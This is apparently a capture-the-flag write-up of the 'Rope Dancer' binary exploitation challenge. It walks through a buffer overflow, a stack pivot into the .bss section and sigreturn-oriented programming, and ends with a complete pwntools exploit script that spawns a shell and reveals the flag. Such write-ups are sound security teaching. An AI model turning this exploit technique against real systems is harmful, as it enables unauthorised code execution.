> For the complete documentation index, see [llms.txt](https://jesuscries.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/space-heroes-2023-rope-dancer.md).

# Space Heroes 2023: Rope Dancer

## TL;DR

> *Stack Pivot* from a limited initial buffer to a large *.bss* section, followed by *SROP* under a constraint environment of limited gadgets available.

## Basic File Checks

ROPedancer is a job application program that allows 3 consecutive user inputs. The 1st question is a yes or no question, which we can safely ignore.

<figure><img src="/files/SclTghmshBI0a8IvRCH2" alt=""><figcaption></figcaption></figure>

A buffer overflow occurs in the email field, leading to a segfault. The second input contains a larger buffer but reads in 400 characters exactly without an obvious BOF.

<figure><img src="/files/PGy8DDWEzNqskmN7yBCO" alt=""><figcaption></figcaption></figure>

Not a single protection, so we don't have to worry about any info leaks other than LIBC.

<figure><img src="/files/kWEPiSaHIbccLJDW8oVq" alt=""><figcaption></figcaption></figure>

## Static Code Analysis

The decompilation is almost unreadable because the entire program is written in [assembly](https://github.com/HeroCTF/HeroCTF_v5/blob/main/Pwn/Rope_Dancer/ropedancer.asm). However, we know that there is a small buffer overflow that occurs in the email field (16 bytes), which allows us to fit a small ROP chain there.&#x20;

On our next input, we have a significantly larger buffer (500 bytes), but BOF does not occur here.

<figure><img src="/files/ktE3pyP8TYyYwyOMwFTe" alt=""><figcaption></figcaption></figure>

From the assembly above, we know that 500 bytes are allocated in `motivation_letter`. This is coincidentally the start of the *.bss* section in our binary.

<figure><img src="/files/v5rrvL0EEHCRg3psuoxk" alt=""><figcaption></figcaption></figure>

## Stack Pivoting

Our goal is to now build a small ROP chain in our initial buffer to stack pivot into the larger *.bss* section. Let's try to find a stack pivoting gadget using Ropper. This shows that we can control the value of `rsp` if we have a precursor way to manipulate `rbp`.

<figure><img src="/files/cAYHRVaToJbyP9QvvmxV" alt=""><figcaption></figcaption></figure>

Turns out `pop rbp` gadget exists! So we basically fulfill the whole requirement for Stack Pivoting.

<figure><img src="/files/oZGqoCp0hIGniD2vMmfZ" alt=""><figcaption></figcaption></figure>

## Exploit Plan

We have just found a way to pivot into a large buffer via Stack Pivoting. Now let's focus on constructing an ROP chain that leads to a shell or flag.

### ret2libc :x:

Looking at the available gadgets, we have a very limited option of pop-based gadgets. The `pop rdi` gadget used to perform a `ret2libc` attack is no-where to be seen.

<figure><img src="/files/u3UMKHcddloDTE4n9F8s" alt=""><figcaption></figcaption></figure>

Since the program is written entirely in assembly, there's no dynamic linking of LIBC libraries, and therefore there won't be any GOT entries populated. At this point, `ret2libc` is practically impossible as there's not a single GOT entry that we can leak to calculate the LIBC base + the lack of gadgets.&#x20;

<figure><img src="/files/l98ftJmQudVFqY8gAwGl" alt=""><figcaption></figcaption></figure>

### SIGROP :green\_circle:&#x20;

Under a constrained environment where there are a limited number of useful gadgets, we can utilize SROP to control all register values at once by spoofing a fake sigreturn frame. The downside of this is SROP requires a huge buffer size (>300 bytes). This is perhaps why the challenge was designed to have a 500 bytes buffer in the *.bss* section.

As Sigreturn is considered a special type of syscall, we would still require few gadgets to control the `rax` registers where the syscall number is stored, outside of the spoofed sigreturn frame.

<figure><img src="/files/JosYUenYtNCwbuqzbVv8" alt=""><figcaption></figcaption></figure>

## Solution

Putting everything together, we have a 3 stage payload:

1. **Stage 1:** Using the smaller buffer to fit an initial ROP chain to pivot to the larger *.bss* section.
2. **Stage 2:** Write `/bin/sh` to the start of *.bss* section, followed by calling syscall `0xf` to invoke SIGROP.
3. **Stage 3:** Setup the sigreturn frame to call `execve(/bin/sh)`.

{% code title="solve.py" %}

```python
#!/usr/bin/env python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './ropedancer'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'DEBUG'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()
rop = ROP(elf)

pop_rbp = 0x0000000000401117        # pop rbp; ret; 
stack_pivot = 0x0000000000401114    # mov rsp, rbp; pop rbp; ret;
syscall = 0x000000000040102f
xor_eax = 0x0000000000401011        # xor eax, eax; inc al; ret;
inc_al = 0x0000000000401013         # inc al; ret;

io.sendlineafter(b'ROPedancer? ', b'yes')

payload = b"A" * 24
payload += p64(pop_rbp)
payload += p64(elf.bss())          # Destination address for Stack Pivot
payload += p64(stack_pivot)        # mov rsp, rbp; pop rbp; ret;
payload += p64(0)                  # Fill up rbp after pop

io.sendlineafter(b'contact you: ', payload)

# SigreturnFrame() allows us to spoof the frame, so we do not require pop rax,rdi,rsi,rdx,rip here
frame = SigreturnFrame()
# syscall number for execve()
frame.rax = 0x3b                
# points to the start of bss which contains the /bin/sh string
frame.rdi = elf.bss()  
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall

# As this is outside of SigreturnFrame(), we can't spoof the registers, so we need a way to set rax to 15
payload = b"/bin/sh\x00"        # Write /bin/sh to the start bss section
payload += p64(xor_eax)         # Sigreturn is syscall 0xf (15), initial value here is 1
payload += p64(inc_al) * 0xe    # Increment 14 more times
payload += p64(syscall)
payload += bytes(frame)

io.sendlineafter(b'hire you: ', payload)
io.interactive()
```

{% endcode %}

<figure><img src="/files/Hs6T9lI5G20MFNdSJKAW" alt=""><figcaption></figcaption></figure>

**Flag:** Hero{1\_w4nN4\_b3\_4\_R0P3\_D4nC3r\_s0\_b4d!!!}
